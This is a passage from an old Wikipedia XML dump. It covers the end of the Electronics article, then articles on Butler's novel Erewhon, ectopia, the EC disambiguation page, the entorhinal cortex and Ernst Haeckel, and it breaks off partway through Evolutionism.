One example is a [[television]] set.  Its input is a broadcast signal received by an antenna or fed in through a cable.  Signal processing circuits inside the television extract the [[brightness]], [[colour]] and [[sound]] information from this signal.  The output devices are a [[cathode ray tube]] that converts electronic signals into a visible [[image]] on a screen and magnet driven audio speakers.

==Electronic devices and components ==
{{Main|Electronic component}}

An electronic component is any indivisible electronic building block packaged in a discrete form with two or more connecting leads or metallic pads. Components are intended to be connected together, usually by soldering to a printed circuit board, to create an electronic circuit with a particular function (for example an amplifier, radio receiver, or oscillator). Components may be packaged singly (resistor, capacitor, transistor, diode etc) or in more or less complex groups as integrated circuits (operational amplifier, resistor array, logic gate etc).
[[Active]] components are more usually called 'devices' as opposed to components.

== Analog circuits ==
{{main|analog circuits}}
[[Image:HitachiJ100A.jpg|right|thumb|250px]]
Most [[analog signal|analog]] electronic appliances, such as [[radio]] receivers, are constructed from combinations of a few types of basic circuits. Analog circuits use a continuous range of voltage as opposed to discrete levels as in digital circuits.
The number of different analog circuits so far devised is huge., especially because a 'circuit' can be defined as anything from a single component, to systems containing thousands of components.

Analogue circuits are sometimes called [[linear circuits]] although many non linear effects are used in analoge circuits such as mixers, modulators etc. Good examples of analog circuits are valve or transistor amplifiers, operational amplifiers and oscillators. 

Some analog circuitry these days may use digital or even microprocessor techniques to improve upon the basic performance of the circuit. This type of circuits is usually called 'mixed signal'.
 
Sometimes it may be difficult to differentiate between analog and digital circuits as they have elements of both linear and non linear operation. An example is the comparator that takes in a continuouse range of voltage but puts out only one of two levels as in a digital circuit. Similarly, a transistor amplifier overdriven can take on the characteristics of a controlled [[switch]] having substantially only two levels of output.

== Digital circuits ==
{{Main|digital circuits}}
Digital circuits are electric circuits based on a number of discrete voltage levels. Digital circuits are the most common mechanical representation of Boolean algebra and are the basis of all digital computers. To most engineers, the terms &quot;digital circuit&quot;, &quot;digital system&quot; and &quot;logic&quot; are interchangeable in the context of digital circuits.
In most cases the number of different states is two, and these states are represented by two voltage levels: one near to zero volts and one at a higher level depending on the supply voltage in use. These two levels are often represented as &quot;Low&quot; and &quot;High.&quot;

[[Computer]]s, electronic [[quartz clock|clock]]s, and [[programmable logic controller]]s (used to control industrial processes) are constructed of [[digital]] circuits.  [[Digital Signal Processor]]s are another example.

Building-blocks:
* [[logic gate]]s
* [[flip-flop (electronics)|flip-flop]]s
* [[counter]]s
* [[processor register|register]]s
* [[multiplexer]]s
* [[Schmitt trigger]]s

Highly integrated devices:
* [[microprocessor]]s
* [[microcontroller]]s
* [[Digital signal processor]] (DSP)
* [[FPGA| Field Programmable Gate Array]] (FPGA)

== Mixed-signal circuits ==
{{Main|Mixed-signal circuit}}
Mixed-signal circuits refers to integrated circuits (ICs) which have both analog circuits and digital circuits combined on a single semiconductor die or on the same circuit board.
[[Mixed-signal circuit]]s  are becoming increasingly common. 
Mixed circuits contain both analog and digital components. [[analog to digital converter]]s and [[digital to analog converter]]s are the primary examples. Other examples are [[transmission gate]]s and buffers.

== Heat dissipation and thermal management==
{{Main|Thermal management of electronic devices and systems}}
Heat generated by electronic circuitry must be dissipated to prevent immediate failure and improve long term reliability. Techniques for ''heat dissipation'' can include [[heatsink]]s and [[fan (implement)|fans]] for air cooling, and other forms of [[computer cooling]] such as [[liquid cooling for computers]] .

== Noise ==
{{main|electronic noise}}
Associated with all electronic circuits is noise. Noise is generally defined as any unwanted signal that is not present at the input of the circuit. Noise is not the same as distortion caused by the circuit.

==Electronics theory==
{{Main|Mathematical methods in electronics}}

Mathematical methods are integral to the study of electronics. To become proficient in electronics it is also necessary to become proficient in the mathematics of circuit analysis.

Circuit analysis is the study of methods to solve linear systems for the unknown variables such as the voltage at  a certain [[node]] or the current though a certain [[branch]] of a [[network]]. A common representation of this is the [[SPICE]] circuit simulator.

Also important to electronics is the study  and understanding of [[electromagnetic field theory]].

== Electronic test equipment ==
{{Main|Electronic test equipment}}

Electronic test equipment is used to create stimulus signals and capture responses from electronic Devices Under Test (DUTs). 
In this way, the proper operation of the DUT can be proven or faults in the device can be traced and repaired.

Practical electronics engineering and assembly requires the use of many different kinds of electronic test equipment ranging from the very simple and inexpensive (such as a test light consisting of just a light bulb and a test lead) to extremely complex and sophisticated such as Automatic Test Equipment.

== Computer aided design ==
{{Main|Electronic design automation}}

Today's electronics engineers have the ability to [[Circuit design|design]] [[Electrical network|circuit]]s using premanufactured building blocks such as [[power supply|power supplies]], [[resistor]]s, [[capacitor]]s, [[semiconductor]]s (such as [[transistor]]s), and [[integrated circuit]]s. [[Electronic design automation]] software programs include [[schematic capture]] programs such as [[ORCAD]], used to make [[circuit diagram]]s and [[printed circuit board]] layouts.

== Construction methods ==
Many different methods of connecting components have been used over the years starting with point to point wiring using tag boards attached to chassis, through printed circuit boards and ending with highly integrated circuits.
Some of the methods previously used are:

**[[Point-to-point construction]]
**[[Cordwood construction#Other meanings|Cordwood construction]]
**[[Wire wrap]]
**[[Printed circuit boards]]

==Branch pages==
{{backlink|Electrical engineering}}
*[[Digital electronics]]
*[[Analogue electronics]]
*[[Microelectronics]]
*[[Fuzzy electronics]]
*[[Circuit Design|Electronic Devices and Circuits]]
*[[Integrated circuit]]
*[[Optoelectronics]]
*[[Printed circuit board]]
*[[Semiconductor]]
*[[Semiconductor device]]

==See also==
*[[Electrical engineering]]
*[[Circuit diagram]]
*[[Signal theory]]
*[[transducer]]
*[[Computer engineering]]
*[[Datasheet]]
*[[Mechatronics]]
*[[E-waste]]

== External links ==
{{Wikibooks}}

=== Tutorials and projects ===
* [http://www.electronicsinfoline.com/ Electronics Infoline] Directory for electronics projects.
* [http://www.opamp-electronics.com/tutorials/index.htm Basic Electronic Tutorials On DC, AC, Semiconductor and Digital Theory] Extensive free tutorial material and store.
* [http://www.electronics-tutorials.com/ Electronics tutorials] Modest site, mostly focused on radio electronics, awkward layout.
* Ian Purdie's  [http://my.integritynet.com.au/purdic Electronics tutorials]
* Iguana Labs' [http://www.iguanalabs.com/maintut.htm Electronics Tutorials and Kits]
* [http://www.electronicdefinitions.com Electronic Meanings and Acronyms]
* [http://www.ibiblio.org/obp/electricCircuits/ Lessons in Electric Circuits] &amp;ndash; A free series of textbooks on the subjects of electricity and electronics.
* [http://www.radio-electronics.com/ Radio-Electronics.Com] Free information and resources covering radio and electronics
* [http://www.falstad.com/circuit/ Circuit simulator with voltage and current visualization](java applet)
* [http://allaboutcircuits.com A comprehensive guide to making integrated circuits]
* [http://hyperphysics.phy-astr.gsu.edu/hbase/electronic/etroncon.html HyperPhysics]
* [http://www.talkingelectronics.com/te_interactive_index.html &quot;Talking Electronics&quot;] Great for amateurs, commercial kits.
* [http://electronics.esolberg.com/ Electronic parts library]
* [http://www.work-readyelectronics.org Work Ready Electronics] Free instructional online course materials for Community College Electronics Instructors and Students.
* [http://www.electronics-radio.com Electronics and Radio Today ] Free basic guides and overviews of electronics and electronics principles.
* [http://0rz.net/8916u Free books about electronics and other fields related to it]

=== Some other good sites ===
* [http://endtas.com/robot/ Endtas robotics community website with lots of free robotic projects. Do it yourself]
* [http://www.ieee.org/ IEEE]
* [http://www.spectrum.ieee.org/ IEEE spectrum]
* [http://www.elexp.com/links.htm Electronix Express]
* [http://www.electronicspoint.com/ Electronics Discussions] Web access to electronics related newsgroups.
* [http://www.wikidevices.org/ Wikidevices.org] A MediaWiki-powered website focusing entirely on electronic devices.
* [http://linuxlinks.com/Software/Scientific/Electronic/ LinuxLinks.com] Linux Electronic Software.

{{Technology}}

[[Category:Electronics]]
[[Category:Electronic engineering]]

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[[ja:電子工学]]
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    </revision>
  </page>
  <page>
    <title>Erewhon</title>
    <id>9664</id>
    <revision>
      <id>38279569</id>
      <timestamp>2006-02-05T07:36:08Z</timestamp>
      <contributor>
        <username>Kelly Martin</username>
        <id>158241</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] fix use of &quot;a lot of&quot; and other cleanup</comment>
      <text xml:space="preserve">'''''Erewhon, or Over the Range''''' is a [[novel]] by [[Samuel Butler (1835-1902)|Samuel Butler]] published anonymously in [[1872]]. The title is also the name of a country, supposedly discovered by the protagonist. In the novel it is not revealed in which part of the world Erewhon is, but it is clear that it is a [[fictional country]]. Butler obviously meant the title to be a clear anagram of ''Nowhere'', it is likely that he did this to protect himself from accusations of being unpatriotic, although Erewhon is obviously a satire of [[Victorian era|Victorian]] society.

The first few chapters of the novel, dealing with the discovery of Erewhon, are in fact based on Butler's own experiences in [[New Zealand]], where as a young man he was a [[sheep]] [[farmer]] for about four years ([[1860]]-[[1864]]) and where he explored parts of the interior of the [[South Island]]. (One of the country's largest sheep farms, located near where Butler lived, is named Erewhon in his honour.  It is near [[Mesopotamia Station]], a large sheep farm.)

==Content==
The greater part of the book consists of a description of Erewhon. The nature of this nation is clearly intended to be ambiguous.  At first glance Erewhon appears to be a [[utopia]], yet it soon becomes clear that this is far from the case.  Yet for all the failings of Erewhon it is also clearly not a [[dystopia]] (or anti-utopia), an undesirable society such as that depicted by [[George Orwell]]'s ''[[Nineteen Eighty-Four]]''. As a satirical utopia ''Erewhon'' has sometimes been compared to ''[[Gulliver's Travels]]'' (1726) by [[Jonathan Swift]], the image of Utopia in this latter case also bearing strong parallels with the self-view of the [[British Empire]] at the time.

''Erewhon'' satirizes various aspects of Victorian society, including criminal punishment, [[religion]] and [[anthropocentrism]]. In Erewhon law, offenders are treated as if they were ill, whilst ill people are looked upon as criminals, for example. Another feature of Erewhon is that there are no machines, because they are considered to be dangerous: they might develop consciousness and supersede humankind. This last aspect of ''Erewhon'' reveals the influence of [[Charles Darwin]]'s evolution theory; Butler had read ''[[The Origin of Species]]'' soon after it was published in [[1859]]. 

===The Book of Machines===
The three chapters of ''Erewhon'' that make up &quot;The Book of the Machines&quot; were developed from a number of articles that Butler had contributed to a local periodical while in New Zealand. Butler was the first to write about the possibility that machines develop consciousness. To him it was a joke, but today scientists and philosophers are seriously debating whether computers and robots could develop the same kind of intelligence ([[artificial intelligence]], AI) and consciousness ([[artificial life]]) as human beings. It is also a popular theme in science-fiction novels and movies; some raise the same question ([[Dune]]'s [[Butlerian Jihad]], for example), while others wonder what the relationship between human beings and machines with artificial intelligence would be and whether AI is desirable at all.

===The rest of the book===
Erewhon has many more curious aspects, such as the notion that children choose their parents. His &quot;Musical Banks&quot; chapter is an attack on religious hypocrisy. Banks of that era were few and quite magnificent, but the satire does not end with their comparison to cathedrals in these characteristics. 

In that chapter, he mentions that these banks have their own currency, which is not honored by the ''other'' banks. This refers to a forgotten practice. During the age when the whole point of money was that it was made of precious metal, there was frequent trimming or shaving of coins once they were released to the public, even though people were expected to accept the diminished coins at their face value. These bits were sold under the counter to an assayer. There was also widespread counterfeiting. 

It would not do for churches to be implicated in these activities. Thus, churches actually had money-changing tables at which each coin would be examined separately and a ''token'' of actual worth given to the layperson so that he or she could be seen by the other parishoners as putting money in the basket during that part of the service. These tokens had religious images upon them; this also prevented pilferage. The money-changing not done at the same time as the service itself. (Some distinguished Protestant churches in the US had this practice in the [[19th century]], besides the [[Church of England]] and the [[Presbyterian Church]] of Scotland.) The practice goes back to the days of temple of [[Jerusalem]], but then it was done for the different reason &amp;mdash; that money offered to the temple did not have the images of pagan gods on it.&lt;!-- the relevance of all of this is quite unclear, but I don't know the book well enough to make it so --&gt; 

==Reception==
At its first release, this book sold far better than any of Butler's other works &amp;mdash; perhaps because the British public assumed that the anonymous author was some better-known figure. In 1901 Butler published a sequel, ''Erewhon Revisited,'' alongside a revised and expanded edition of ''Erewhon.''

==External links==
*{{gutenberg|no=1906|name=Erewhon}} - Revised 1901 edition of &quot;Erewhon&quot; at Project Gutenberg

[[Category:1872 books]]
[[Category:Fictional countries]]
[[Category:Utopian novels]]</text>
    </revision>
  </page>
  <page>
    <title>Ectopia</title>
    <id>9665</id>
    <revision>
      <id>38566967</id>
      <timestamp>2006-02-07T03:54:50Z</timestamp>
      <contributor>
        <username>Miguel Andrade</username>
        <id>569674</id>
      </contributor>
      <text xml:space="preserve">In [[medicine]] an '''ectopia''' is a displacement or malposition of an [[Organ (anatomy)|organ]] of the body. Most ectopias are [[Congenital disorder|congenital]] but some may happen later in life.
*[[Ectopia lentis]] is the displacement of the crystalline lens of the eye
*[[Ectopia cordis]] is the displacement of the heart outside the body during [[fetus|foetal]] development
*[[Renal ectopia]] occurs when both kidneys occur on the same side of the body
*[[Ectopic pregnancy]] occurs when the fertilized egg implants anywhere other than the uterine wall.

{{med-stub}}

[[da:Ektopi]]
[[de:Ektopie]]
[[it:ectopia]]

In [[molecular biology]] a gene is [[ectopic expression|ectopically expressed]] when it is expressed in an abnormal place.</text>
    </revision>
  </page>
  <page>
    <title>EC</title>
    <id>9666</id>
    <revision>
      <id>42035303</id>
      <timestamp>2006-03-03T10:11:03Z</timestamp>
      <contributor>
        <ip>216.45.139.29</ip>
      </contributor>
      <text xml:space="preserve">'''EC''' may stand for:

*'''EC''' is the IATA code for [[Avialeasing Aviation]], an airline
*[[Early childhood education|Early childhood]] education
*[[Eastern Caribbean dollar]], sometimes referred to as the ([[East Caribbean dollar|EC$]])
*[[EC Comics]], a now defunct comic book company
*[[EC number]]s (Enzyme Commission numbers) are used for the numerical classification of [[enzyme]]s
*[[EC-No|EC number]] or EC# codes are determined by the European Commission for identifying chemicals
*EC-10, a rating given to items for emotional content in the film ''[[Equilibrium (2002 film)|Equilibrium]]''
*[[Ecuador]] ([[country code]])
*[[Electron capture]] - a [[decay mode]] for [[atomic nucleus|atomic nuclei]]
*[[Electrical conductivity]] (EC values)
*Electronic Cash (formerly eurocheque), a debit system still used in continental Europe, but which is now combined with the [[Maestro (debit card)|Maestro]] system
*[[Elimination Chamber]]
*[[Embedded C Plus Plus|Embedded C++]]
*[[Emergency contraception]]
*Emulsifiable Concentrate
*[[Entertaining Comics]]
*[[Entorhinal cortex]] - important [[memory]] center in the [[brain]]
*[[Environment Canada]]
*[[Eric Clapton]]
*[[European Commission]]
*[[European Community]]
*[[European Council]]
*[[Evolutionary computation]]
*[[Exacoulomb]], an [[SI]] unit for electric charge equal to 10&lt;sup&gt;18&lt;/sub&gt; coulomb
*[[Executive Commitee]]
*[[Extended coverage]] - an [[insurance]] term
*[[Eye contact]]

{{2CC}}

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    </revision>
  </page>
  <page>
    <title>Entorhinal cortex</title>
    <id>9667</id>
    <revision>
      <id>41733171</id>
      <timestamp>2006-03-01T10:26:13Z</timestamp>
      <contributor>
        <username>Torkel</username>
        <id>1005556</id>
      </contributor>
      <text xml:space="preserve">The '''entorhinal cortex (EC)''' is an important [[memory]] center in the [[brain]]. The EC forms the main input to the [[hippocampus]] and is responsible for the pre-processing (familiarity) of the input signals. In the [[eyeblink reflex]], the association of impulses from the [[eye]] and the [[ear]] occurs in the entorhinal cortex. The [[EC-hippocampus system]] plays an important role in [[memory consolidation]] and [[memory optimization]] in [[sleep]]. 

Entorhinal cortex is one of the first areas to be affected in Alzheimer's Disease, and one of the first symptoms are impaired sense of direction. In 2005, it was discovered that entorhinal cortex contains a neural map of the spatial environment ([http://www.nature.com/nature/journal/v436/n7052/abs/nature03721.html Hafting et al., 2005]). 

The entorhinal cortex show a modular organization, with different properties and connections in different areas.
Neurons in the lateral entorhinal cortex exhibit little spatial selectivity (Hargreaves et al., 2005) while neurons of the medial entorhinal (MEA) cortex exhibit multiple &quot;place fields&quot; that are arranged in an hexagonal pattern, and are therefore called &quot;[[grid cells]]&quot;. These fields and spacing between fields increase from the dorso-lateral MEA to the ventro-medial MEA (Fyhn et al., 2004; Hafting et al., 2005).

== Anatomy ==
In rodents, EC is located at the [[caudal]] end of the [[temporal lobe]] and is usually divided into [[medial]] and [[lateral]] regions (with three bands with distinct properties and connectivity running perpendicular across the whole area). A distinguishing characteristic of EC is the lack of cell bodies where layer IV should be; this layer is called the ''lamina dissecans''.

== Inputs and outputs ==
The superficial layers - layers II and III - of EC project to the [[dentate gyrus]] and [[hippocampus]]: Layer II primarily projects to [[dentate gyrus]] and hippocampal region CA3; layer III primarily projects to hippocampal region CA1 and the [[subiculum]]. These layers receive input from other cortical areas, especially associational, perirhinal, and parahippocampal cortices, as well as [[prefrontal cortex]]. EC as a whole, therefore, receives highly-processed input from every sensory modality, as well as input relating to ongoing cognitive processes, though it should be stressed that, within EC, this information remains at least partially segregated.

The deep layers, especially layer V, receive one of the three main outputs of the [[hippocampus]], and, in turn, reciprocate connections from other cortical areas that project to superficial EC.


==External links==
* {{BrainInfo|hier|150}}
* {{MeshName|Entorhinal+Cortex}}

{{med-stub}}
{{Prosencephalon}}

[[Category:Anatomy]]
[[Category:Limbic system]]
[[Category:Cerebrum]]</text>
    </revision>
  </page>
  <page>
    <title>Ernst Haeckel</title>
    <id>9668</id>
    <revision>
      <id>41893430</id>
      <timestamp>2006-03-02T12:30:14Z</timestamp>
      <contributor>
        <username>Cyde</username>
        <id>6511</id>
      </contributor>
      <minor />
      <comment>Fixing Social Darwinism link</comment>
      <text xml:space="preserve">{{expert}}
{{mergefrom|embryo drawings}}
[[image:ErnstHaeckel.jpg|thumb|Ernst Haeckel]]
'''Ernst Heinrich Philipp August Haeckel''' ([[February 16]], [[1834]] — [[August 8]], [[1919]]), also written '''von Haeckel''', was an eminent German [[biologist]] and [[philosopher]] who promoted [[Charles Darwin|Charles Darwin's]] work in [[Germany]]. Haeckel was a [[zoologist]], an accomplished artist and illustrator, and later a [[professor]] of [[comparative anatomy]]. He was one of the first to consider [[psychology]] as a branch of [[physiology]]. He also proposed many now ubiquitous terms including &quot;[[scientific classification|phylum]]&quot; and &quot;[[ecology]].&quot; His chief interests lay in [[evolution]] and life development processes in general, including development of nonrandom form, which culminated in the beautifully illustrated ''Kunstformen der Natur'' (''Art forms of nature''). 

Haeckel advanced the &quot;[[recapitulation theory]]&quot; which proposed a link between [[ontogeny]] (development of form) and [[phylogeny]] (evolutionary descent), summed up in the phrase &quot;ontogeny recapitulates phylogeny&quot;. He supported the theory with embryo drawings that have since been shown to be inaccurate, and the theory is no longer generally accepted.

Haeckel was also known for his &quot;[[biogenic theory]]&quot;, in which he suggested that the development of races paralleled the development of individuals. He advocated the idea that [[Untermensch|&quot;primitive&quot; races]] were in their infancies and needed the &quot;supervision&quot; and &quot;protection&quot; of more &quot;mature&quot; societies. 

He extrapolated a new religion or philosophy called [[Monism]] from evolutionary science. In Monism, all [[economics]], [[politics]], and [[ethics]] are reduced to &quot;applied biology.&quot; His writings and lectures on Monism provided scientific (or quasi-scientific) justifications for [[racism]], [[nationalism]] and [[Social Darwinism]]. It has even been argued that monism thus became the ''de facto'' religion of [[Nazi Germany]]. Other scholars disagree, arguing that Nazi ideology was not comfortable with evolutionary theory, which argues for a common descent of all human races.     

Haeckel was a flamboyant figure whose popularity with the public was substantially greater than it was with his scientific peers. He sometimes took great (and non-scientific) leaps from available evidence. For example, at the time that Darwin first published ''[[On the Origin of Species by Means of Natural Selection]]'', no remains of human ancestors had yet been found. Haeckel postulated that evidence of human evolution would be found in the [[Dutch East Indies]] (now [[Indonesia]]), and described these theoretical remains in great detail. He even named the as-of-yet unfound species, ''Pithecanthropus alalus'', and charged his students to go find it.

[[Image:Haeckel Actiniae.jpg|right|thumb|180px|Sea anemones from [[Ernst Haeckel|Ernst Haeckel's]] ''Kunstformen der Natur'' (Artforms of Nature) of 1904.]]

Remarkably, one of them did so &amp;mdash; a young Dutchman named [[Eugene Dubois]] went to the East Indies and dug up the remains of [[Java Man]], the first human ancestral remains ever found. (These remains originally carried Haeckel's [[Pithecanthropus]] label, though they were later reclassified as [[Homo erectus]].)

Although Haeckel's ideas are important to the history of [[evolutionary theory]], and he was a competent [[invertebrate]] [[anatomist]] most famous for his work on [[radiolaria]], most of the speculative concepts that he championed are now seen as incorrect. For example, Haeckel described and named hypothetical ancestral [[microorganism]]s that have not been found as of date. His concept of recapitulation called &quot;strong recapitulation&quot; has been disputed. Haeckel did not support Darwin's &quot;[[survival of the fittest]]&quot;, rather believing in a [[Jean-Baptiste Lamarck|Lamarckian]] [[inheritance of acquired characteristics]]. 

Richard and [[Oskar Hertwig]] were some of Haeckel´s many important students.

''Mount Haeckel'' is a 4090 m (13,418') summit in the Eastern [[Sierra Nevada]], overlooking the Evolution Basin, named in honor of Ernst Haeckel as is the [[asteroid]] [[12323 Häckel]].
Ernst Haeckel, much like Herbert Spencer, was always quotable, even when wrong. Although best known for the famous statement &quot;ontogeny recapitulates phylogeny&quot;, he also coined many words commonly used by biologists today, such as phylum, phylogeny, and ecology. On the other hand, Haeckel also stated that &quot;politics is applied biology&quot;, a quote used by Nazi propagandists. The Nazi party, rather unfortunately, used not only Haeckel's quotes, but also Haeckel's justifications for racism, nationalism and social darwinism. 

Although trained as a physician, Haeckel abandoned his practice in 1859 after reading Darwin's Origin of Species. Always suspicious of teleological and mystical explanation, Haeckel used the Origin as ammunition both to attack entrenched religious dogma and to build his own world view. 

Hackel studied under Carl Gegenbauer in Jena for three years before becoming a professor of comparative anatomy in 1862. Between 1859 and 1866, he worked on many &quot;invertebrate&quot; groups, including radiolarians, poriferans (sponges) and annelids (segmented worms). He named nearly 150 new species of radiolarians during a trip to the Mediterranean. &quot;Invertebrates&quot; provided the fodder for most of his experimental work on development, leading to his &quot;law of recapitulation&quot;. Haeckel was also a free-thinker who went beyond biology, dabbling in anthropology, psychology, and cosmology. Haeckel's speculative ideas and possible fudging of data, plus lack of empirical support for many of his ideas, tarnished his scientific credentials. However, he remained an immensely popular figure in Germany and was considered a hero by his countrymen. 

==References==
*Richard Milner, ''The Encyclopedia of Evolution: Humanity's Search for Its Origins'', Henry Holt, 1993

==External links==
{{Commons|Ernst Haeckel}}
* [http://www.mblwhoilibrary.org/haeckel/index.html Marine Biological Laboratory Library] - An exhibition of material on Haeckel, including background on many ''Kunsformen der Natur'' plates
* [http://www.ucmp.berkeley.edu/history/haeckel.html University of California, Berkeley] - Ernst Haeckel biography
* [http://www.slate.com/id/2124625/ Ernst Haeckel – Evolution's controversial artist.] A slide-show essay about Ernst Haeckel.
* [http://caliban.mpiz-koeln.mpg.de/~stueber/haeckel/kunstformen/natur.html ''Kunstformen der natur'', scanned] (from [http://www.biolib.de/] Stuebers Online Library)
* [http://draves.org/pix/kdn/ PNG alpha-transparencies of Haeckel's &quot;Kustformen der natur&quot;]

==Further reading==
* ''Art Forms from the Ocean: The Radiolarian Atlas of 1862'', by Ernst Haeckel, Prestel Verlag, 2005 ISBN 3791333275
* {{gutenberg author| id=Ernst+Heinrich+Philipp+August+Haeckel | name=Ernst Haeckel}}

[[Category:1834 births|Haeckel, Ernst]]
[[Category:1919 deaths|Haeckel, Ernst]]
[[Category:German biologists|Haeckel]]

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    </revision>
  </page>
  <page>
    <title>Evolutionism</title>
    <id>9670</id>
    <revision>
      <id>41750288</id>
      <timestamp>2006-03-01T13:54:25Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Evolutionism''', from the [[Latin]] ''evolutio'', unrolling, refers to theories that certain things develop or change as natural (unplanned) outgrowths of those that existed before, in contrast to beliefs that these things are fixed and immutable. An '''Evolutionist''' is a proponent of such a theory. Theories of change have been developed across several fields of study. 

In [[anthropology]] and [[biology]], the term ''Evolutionism'' is nowadays used specifically for historical theories or beliefs of early [[sociocultural evolutionism]] developed in the [[18th century|18th]] and [[19th century]] that organisms are intrinsically bound to improve themselves through progressive changes which are [[heredity|heritable]]. This idea was applied to cultures and societies as well as to living organisms. The term ''evolutionist'' is still used more widely and can refer to proponents of the [[theory of evolution]] through [[natural selection]] which has superseded the earlier biological theories, but particularly in the [[U.S.A.]] this term is used by opponents of the theory to bolster their claim that evolution theory is a belief rather than a [[science]], and so this usage is often avoided by the [[scientific community]]. The terms are still used for theories about the development of [[culture]]s and [[civilisation]]s.

==Development of usage==
Anthropologists and Biologists will refer to &quot;Evolutionists&quot; in the 19th century as those who believe that the cultures or life forms being studied are evolving to a ''particular'' form.  (see [[Platonic Form]]).  Very few scientists today, if any, believe that evolution in culture or biology works that way, and serious discussions generally take caution to distance themselves from that perspective. 

Since evolutionary biology explains changes in terms of internal processes and gradual development as natural (unplanned) outgrowths of what existed before, generally such theories have no role for [[divine intervention]], and can include the idea that the first living things arose by random events in an abiotic world.  Even before the 19th century, there were a few hypotheses about the evolution of everything material: suns, moons, planets, earth, life, civilization, and society--all without [[divine intervention]]. The number of hypotheses being propounded increased dramatically in the middle of the 19th century.

In modern times, the term ''[[evolution]]'' is widely used, but the terms ''evolutionism'' and ''evolutionist'' are rarely used in scientific circles.  However, all three of these terms are commonly used by [[anthropologists]], [[sociologists]], and other scholars outside the [[Physical science|physical]] and [[life science]]s; these terms are used to refer to theories about the development of [[culture]]s and [[civilisation]]s.

Scientists object to the terms ''evolutionism'' and ''evolutionist'' because the [[-ism]] and -ist suffixes accentuate [[belief]] rather than scientific study.  Conversely, [[creationists]] use those same two terms partly because the terms accentuate belief, and partly perhaps because they provide a way to package their opposition into one group, seemingly atheist and materialist, designations under which many scientists would not like to be cast.   Thereby the creationists deride the scientists' theories as mere belief that ignores [[divine intervention]], contrary to what creationists think is [[common sense]].

== Evolutionary thought before Darwin ==

As early as 400 BC the Greek [[atomists]] taught that the sun, earth, life, humans, civilization, and society emerged over eons from the eternal and uncreated [[atoms]] colliding and vibrating in the [[Vacuum|void]]--all without [[divine intervention]].  In the epic poem [[On the Nature of Things]], the Roman atomist [[Lucretius]] in about 60 BC described the stages of the living earth coming to be what it is.  The earth and sun formed from swirls of dust congregated from atoms colliding and vibrating in the void; early plants and animals sprang from the early earth's own substance because of the insistence of the atoms that formed the earth; the aging earth gave birth to a succession of animals including a series of progressively less brutish humans that made a succession of improved tools, laws, and civilizations with increasing complexity finally arriving at the current earth and lifeforms as they are. [http://www.gutenberg.org/dirs/etext97/natng10.txt]

Robert Carneiro, the anthropologist, describes the progression of evolutionary thought at two levels.  First, there was the succession of explanations that did not require [[divine intervention]].  And second, there were occasional uses of derivatives of the Latin word &quot;evolutio,&quot; meaning &quot;unroll like a scroll,&quot; to label the explanations.  Carneiro describes it this way: &quot;In the seventeenth century, 'evolution' began to be used in English to refer to an orderly sequence of events, particularly one in which the outcome was somehow contained within it from the start.&quot; Since the outcome was already contained within every prior stage of the earth, life, and universe, everything would happen as it has without divine intervention. (Carneiro 2003:1)

In giving an example of an early form of evolutionism theory, Carneiro notes that [[Gottfried Leibniz]] in 1714 explained the motion of objects by the &quot;[[monad]]s&quot; inside them where the monads operated by internal forces, so no outside force was required to make things happen as they did.  The historian of ideas [[Arthur Lovejoy]] points to the &quot;monad&quot; or &quot;germ&quot; idea as a characteristic of typical evolutionary thought from 1700 to 1850; as such, it maintained that &quot;the 'germs' of all things have always existed . . . [such that they] contain within themselves an internal principle of development which drives them on through a vast series of metamorphoses&quot; through which they become the geological formations, lifeforms, psychologies, and civilizations of the present (Lovejoy 1936:274).

An early application of evolutionary thinking to biology was [[Charles Bonnet]]'s 1762 assertion that each feature of the embryo was preformed in the parts; some of the parts came from the egg and some came from the sperm. Bonnet hypothesized that when the embryo grew, those preformed parts merely expanded, shifted, and rearranged themselves to grow into the adult. Hence, Bonnet was called a &quot;preformationist.&quot; This idea long preceded modern [[embryology]].

Carneiro conjectures that it was this &quot;preformationist&quot; connotation of the word &quot;evolution&quot; that caused [[Jean-Baptiste Lamarck]] in 1809 to exclude the word &quot;evolution&quot; from his 1809 treatise ''[[Lamarckianism|Philosophie Zoologique]].''  For Lamarck proposed that a parent's learning to play an instrument would be passed on to the children as acquired traits--the direct opposite of the popular notions of &quot;evolution&quot; at the time which asserted that the parent passed on the &quot;germs&quot; given by the grandparents unaltered by the parent's learning. (Carneiro 2003:2)

After [[Erasmus Darwin]] established his medical practice in [[Derby, England]], he began to put to paper in 1780 his many speculations on the processes that made the current 1) geological formations, 2) lifeforms, 3) [[psychological type]]s, 3) star systems, 4) science advancements, and 5) political reforms.  Erasmus Darwin wrote most of his speculations on the evolutionary processes in verse form.  He made the most complete statement in a poem he first titled &quot;Origin of Society,&quot; but he changed the title to &quot;Temple of Nature.&quot;  In the poem, he describes the beginning of life and the formation of the diverse life forms.  Against a vast cyclical background of star formation and collapse, he describes the eons of time until a &quot;general conflagration&quot; in which the planets and sun fall into &quot;one central chaos&quot; from which new earths sometimes appear, &quot;Which in process of time may again undergo the same catastrophe!&quot;  Between the times of conflagration, he describes the spontaneity with which life springs forth again to populate the earth. 

:Organic life beneath the shoreless waves
:Was born and nurs'd in ocean's pearly caves;
:First forms minute, unseen by spheric glass,
:Move on the mud, or pierce the watery mass;
:These, as successive generations bloom,
:New powers acquire and larger limbs assume;
:Whence countless groups of vegetation spring,
:And breathing realms of fin and feet and wing.

He describes how the animals compete with each other, driven by &quot;three great objects of desire,&quot; namely sex, hunger, and fear.  Through the competition, &quot;the strongest and most active . . . [will] propagate the species, which should thence become improved.&quot;

Paul Elliott summed up Erasmus Darwin's writings this way, &quot;Five interconnected aspects of [Erasmus] Darwin's Enlightenment evolutionary worldview may be discerned: geological developmentalism, biological evolutionism, developmental psychophysiology, cosmological developmentalism, and scientific and political progressivism.&quot; (Elliott 2003)

Furthermore, Erasmus Darwin was an organizer of a group of amateur scientists around Derby that would remain influential into the 1850s, the time of his grandson [[Charles Darwin]].  Erasmus Darwin became the first president of the [[Derby Philosophical Society]], which was something of a gentleman's social club, literary society, and scientific forum for discussing recent scientific discoveries and publications.  Around Erasmus Darwin, there formed a small lively amateur scientific community that included the grandparents of [[Herbert Spencer]].  Herbert Spencer's father would become an active amateur scientist and speculator on evolutionary processes in his own right, and when he grew up would become the secretary of the Derby Philosophical Society.  Herbert Spencer would later develop a vast evolutionary theory of his own that included cosmological, geological, biological, social, and cultural processes.

